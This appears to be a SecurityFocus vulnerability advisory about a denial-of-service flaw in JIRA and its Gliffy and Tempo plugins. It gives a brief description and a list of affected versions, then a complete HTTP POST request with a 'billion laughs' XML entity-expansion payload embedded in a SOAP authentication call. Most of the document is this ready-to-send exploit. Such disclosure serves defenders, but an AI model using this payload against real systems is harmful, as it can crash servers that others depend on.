source: https://www.securityfocus.com/bid/53595/info

JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.

The following versions are affected:

Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable. 

POST somehost.com HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 1577

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:authenticateApplication>
         <urn:in0>
            <aut:credential>
               <aut:credential>stuff1</aut:credential>
               <aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
            </aut:credential>
            <aut:name>stuff3</aut:name>
            <aut:validationFactors>
               <aut:ValidationFactor>
                  <aut:name>stuff4</aut:name>
                  <aut:value>stuff5</aut:value>
               </aut:ValidationFactor>
            </aut:validationFactors>
         </urn:in0>
      </urn:authenticateApplication>
   </soapenv:Body>
</soapenv:Envelope>